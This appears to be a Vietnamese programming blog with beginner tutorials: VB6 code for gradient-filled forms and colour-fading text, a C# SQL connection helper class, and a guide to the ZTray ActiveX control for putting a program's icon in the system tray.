Ta cho một khoảng ở đây là đoạn thẳng độ lớn 1 pixel, do vậy số khoảng cũng là chiều dài của Form. Để tô màu cho một khoảng, ta dùng phương thức Line của Form (vẽ đường thằng).

Phần mã chương trình:

Option Explicit

Private Sub Gradient(R1 As Integer, G1 As Integer, B1 As Integer, R2 As Integer, G2 As Integer, B2 As Integer)

Dim R As Integer

Dim G As Integer

Dim B As Integer

Dim dR As Single

Dim dG As Single

Dim dB As Single

Dim i As Integer

dR = (R2 - R1) / Form1.ScaleWidth

dG = (G2 - G1) / Form1.ScaleWidth

dB = (B2 - B1) / Form1.ScaleWidth

For i = 0 To Form1.ScaleWidth

R = R1 + dR * i

G = G1 + dG * i

B = B1 + dB * i

Form1.Line (i, 0)-(i, Form1.ScaleHeight), RGB(R, G, B)

Next i

End Sub

Private Sub Form_Load()

Gradient 255, 0, 0, 0, 0, 0

End Sub

Bạn có thể áp dụng tương tự để tô chuyển màu một PictureBox, hoặc tô chuyển màu theo chiều dọc.

Viết chữ chuyển màu:

Chương trình sẽ viết ra trên Form dòng chữ chuyển từ màu (R1, G1, B1) sang màu (R2, G2, B2) (bạn có thể áp dụng tương tự để viết chữ chuyển màu trên một PicturexBox).


Ta cho một khoảng là từng ký tự của dòng chữ, do vậy số khoảng cũng là số ký tự của dòng chữ. Từng khoảng (từng ký tự) sẽ được viết với các màu khác nhau.

Bạn tạo một Project mới thuộc loại Standard EXE. Thuộc tính AutoRedraw của Form1 là True.

Phần mã chương trình:

Option Explicit

Private Sub ShadeText(x As Integer, y As Integer, R1 As Integer, G1 As Integer, B1 As Integer, R2 As Integer, G2 As Integer, B2 As Integer, s As String)

Dim R As Integer

Dim G As Integer

Dim B As Integer

Dim dR As Single

Dim dG As Single

Dim dB As Single

Dim i As Integer

dR = (R2 - R1) / Len(s)

dG = (G2 - G1) / Len(s)

dB = (B2 - B1) / Len(s)

Form1.CurrentX = x

Form1.CurrentY = y

For i = 1 To Len(s)

R = R1 + dR * i

G = G1 + dG * i

B = B1 + dB * i

Form1.ForeColor = RGB(R, G, B)

Form1.Print Mid$(s, i, 1);

Next i

End Sub

Private Sub Form_Load()

ShadeText 120, 180, 255, 0, 0, 0, 0, 255, "This text fades from red to blue."

End Sub


Kết quả rất ấn tượng, nhưng cách làm lại rất đơn giản! Chúc bạn thành công!

Khai báo chuỗi kết nối có tham số



Khai báo chuỗi kết nối có tham số trong tep *.cs vthu muc App_code



Khai báo chuỗi kết nối có tham số

using System;

using System.Data;

using System.Configuration;

using System.Web;

using System.Web.Security;

using System.Web.UI;

using System.Web.UI.WebControls;

using System.Web.UI.WebControls.WebParts;

using System.Web.UI.HtmlControls;

using System.Data.SqlClient;

///


/// Summary description for p312
///

public class p312

{

private String connectionString;

public SqlConnection con;

//public SqlCommand cmd;

//public SqlDataReader rd;

public p312()

{

connectionString = System.Configuration.ConfigurationManager.ConnectionStrings["ConnectionString"].ToString();

}

//Khai báo chuỗi kết nối có tham số

public p312(string strConnec)

{

this.connectionString = strConnec;

}

//Khai báo mở kết nối

public void openConnec()

{

con = new SqlConnection();

con.ConnectionString = connectionString;

con.Open();

}

//Khai báo đóng kết nối

public void closeConnec()

{

//Nếu kết nối đã mở

if (con.State == ConnectionState.Open)

{

con.Close();

}

//Giải phóng bộ nhớ.

con.Dispose();

}

}

Mã nguồn down load tại đây

Chủ Nhật, 2 tháng 5, 2010

Cùng học lập trình Visual Basic


Dùng ActiveX (.OCX) để đưa chương trình vào System Tray


Bắt đầu với ZTray control

()) Đặc điểm

- Chỉ cần tạo một đối tượng duy nhất , nó sẽ hoá phép cho chương trình của bạn bay vào System Tray.

- Biểu tượng (Icon) của chương trình trong System Tray phải là file biểu tượng (*.ico).

- Icon này phải được đặt trong một ImageList, kích thước không thành vấn đề.

- Nếu bạn không chỉ định Icon, nó sẽ tự động lấy Icon mặc định của nó (là quả địa cầu, trông xấu tệ).

- & còn nhiều thứ nữa ....

()) Một số thuộc tính & sự kiện

Ngoài những thuộc tính, sự kiện bình thường của một đối tượng trong môi trường VB. ZTray còn có các thuộc tính đặc sau.

* ImageList Property

Thuộc tính này để bạn có thể gán cho nó một ImageList. Trong ImageList này chứa (các) Icon mà nó dùng làm biểu tượng chương trình trong System Tray. Chỉ có thể thay đổi lúc Design, lúc chương trình đang chạy bạn không thay đổi được thuộc tính này đâu.

Cú pháp: ZTray.ImageList [=value]

[value] Chính là tên của ImageList (kiểu String)

- Nếu không có ImageList nó sẽ tự động xài cái Icon mặc định của mình.

- Nếu bạn có thay đổi biểu tượng lúc chương trình thực thi bạn phải chủ động để nó biết bằng cách thay đổi chuộc tính ImageNumber hoặc gán ShowInTray = True (ngay cả khi nó đang là True).

- Nhắc lại nữa: Biểu tượng phải là icon file.

* ShowInTray Property

Nhận giá trị Boolean (TRUE/FALSE). True nghĩa là cho hiện Icon trong System Tray. Là False thì ngược lại.

Cú pháp: ZTray.ShowInTray [=value]

[value] là True hay False

- ShowInTray sẽ có hiệu lực ngay khi chương trình bắt đầu Run.

- Có thể gán bạn True để Update cho Icon trong System Tray nếu có thay đổi.

* ImageNumber Property

Thuộc tính này dùng để gán hoặc truy xuất thứ tự của Image mà ZTray dùng làm Icon cho chương trình. Giá trị này là chỉ số của Image trong một ImageList.

Cú pháp: ZTray.ImageNumber [=value]

[value] Chỉ số của image trong ImageList mà ZTray dùng làm biểu tượng (làm một Integer).

Biểu tượng tự động cập nhật khi thuộc tính này có sự thay đổi.

* TipText Property

Dùng để gán hoặc truy xuất đến ToolTip của đối tượng, ToolTip này sẽ tự động xuất hiện khi bạn rê mouse đến trên biểu tượng trong System Tray.

Cú pháp: ZTray.TipText [=value]

[value] Là một String. Độ dài tối đa là 64 ký tự, nếu bạn cố tình cho một string quá dài, nó tự động cắt bớt.

- Sẽ có tác dụng ngay lập tức nếu thay đổi.

* Click Event

Xẩy ra khi người dùng click nút (trái hay phải) chuột vào Icon trong System Tray.

Cú pháp: Private Sub ZTray_Click (Button as integer)

[Button] cho biết nút nào được nhấn.

1 là Left Mouse Button

2 là Right Mouse Button

* DblClick Property

Xẩy ra khi người dùng Double click vào Icon trong System Tray (cả trái lẫn phải đều được công nhận một cách rõ ràng).

Cú pháp:

Private Sub ZTray_DblClick (Button as integer)

[Button] cho biết nút nào được nhấn.

1 là Left Mouse Button

2 là Right Mouse Button

()) Minh họa cách sử dụng

1. Chuẩn bị:

Sau đây là một chương trình thí dụ minh họa cách sử dụng đối tượng ZTray.

Đầu tiên bạn hãy chuẩn bị tập tin ZTray.ocx, nếu chưa có hãy vào WebLH tải về, mở nén vào thư mục System của Windows.

Bạn hãy khởi động VB, tạo một Project mới để bắt đầu cuộc thử nghiệm.

2. Đưa ZTray vào đề án:

Project / Components hoặc dùng tổ hợp phím Ctrl - T để mở cửa sổ Components. Cick chọn ActiveX tên ZTray System Tray Control.

Nếu chưa có trong Danh sách bạn có thể Click nút Browse để chọn tập tin ZTray.ocx từ một thư mục nào đó

Vì ZTray đòi hỏi có một ImageList nên bạn phải click chọn thêm "Microsoft Windows Common Controls 6.0".

Click OK bạn sẽ thấy ZTray Control xuất hiện trên hộp ToolBox của VB.

3. Thiết kế:

Trên Form1, bạn tạo một ImageList tên là ImageList1 & một ZTray tên là ZTray1. Và tạo các menu có tên tương ứng như sau:
Caption Name Checked
PopUp mnuPopUp
Set ToolTips mnuTips
Show In Tray mnuShow True
About mnuAbout
Exit mnuExit

Click phải chuột lên ImageList1 vừa tạo khi nãy, chọn Properties, chọn tiếp thẻ Images, dùng nút Insert Picture để thêm vào một số Image (nhớ là phải dùng Icon file). Đại loại như sau, vậy là ta có 7 hình (tứ 1 đến 7). Click OK để đóng hộp thoại này lại.

Lại click phải lên ZTray1 vừa tạo. Nhập vào khung ImageList là ImageList1, ImageNumber là 1 (ảnh đầu tiên trong ImageList1), TipText: nhập đại một vài chữ, xong click OK.

Sau đó tiến hành viết code cho chương trình như sau

Option Explicit

Private Sub Form_Load()

ZTray1.ImageNumber = 1

ZTray1.ShowInTray = True

End Sub

Ngay lúc form được nạp, đặt chỉ số cho ImageNumber & cho hiện biểu tượng trong System Tray.

Private Sub Form_Unload(Cancel As Integer)

ZTray1.ShowTray = True

Visible = False

Cancel = 1

End Sub

Khi người dùng click nút close trên thanh Title bar, chương trình sẽ không thoát mà chỉ ẩn form đi thôi. Nhưng trước khi giấu Form nó lại cho hiện Icon nếu lúc đó ẩn để tránh trường hợp cả Form lẫn Icon đều biến mất.

Private Sub mnuAbout_Click()

'About

MsgBox "ZTray Demo by Thien Dang 30/07/2000"

End Sub

Private Sub mnuExit_Click()

'Exit

End

End Sub

Thoát khi chương trình bằng lịnh Exit trong menu.

Private Sub mnuIcon_Click()

' Set Icon

ZTray1.ImageNumber = InputBox("Image (1 - 7) ?", "Icon", 1)

End Sub

Thay đổi Icon cho ZTray. Ta có thể nhập vào số từ 1 đến 7 do có 7 Image như đã nói ở trên.

Private Sub mnuShow_Click()

'Show In Tray

mnuShow.Checked = Not (mnuShow.Checked)

ZTray1.ShowInTray = mnuShow.Checked

If mnuShow.Checked = False Then Visible = True

End Sub

Chức năng này có nhiệm vụ bật tắt cái Icon của chương trình. Khi bạn tắt nó sẽ tự hiển thị form lên để tránh trường hợp cả Icon lẫn form đều mất tích.

Private Sub mnuTips_Click()

' Set Tooltips

ZTray1.TipText = InputBox("Your text here", "Enter TipText", "Text")

End Sub

Thay đổi ToolTip. Độ dài tối đa 64 ký tự.

Private Sub ZTray1_Click(button As Integer)

If button = 1 Then

Me.Visible = True

SetFocus

Else

PopupMenu mnuPopUp

End If

End Sub

Nếu click nút trái thì hiện Form, nút phải thì hiện menu.

Bây giờ bạn có thể chạy thử chương trình của mình rồi đấy. Bạn có thể click phải chuột trên Icon trong System Tray để truy xuất menu.

Với ActiveX này hy vọng bạn đỡ phải nhọc công khi cần đưa chương trình của mình vào System Tray.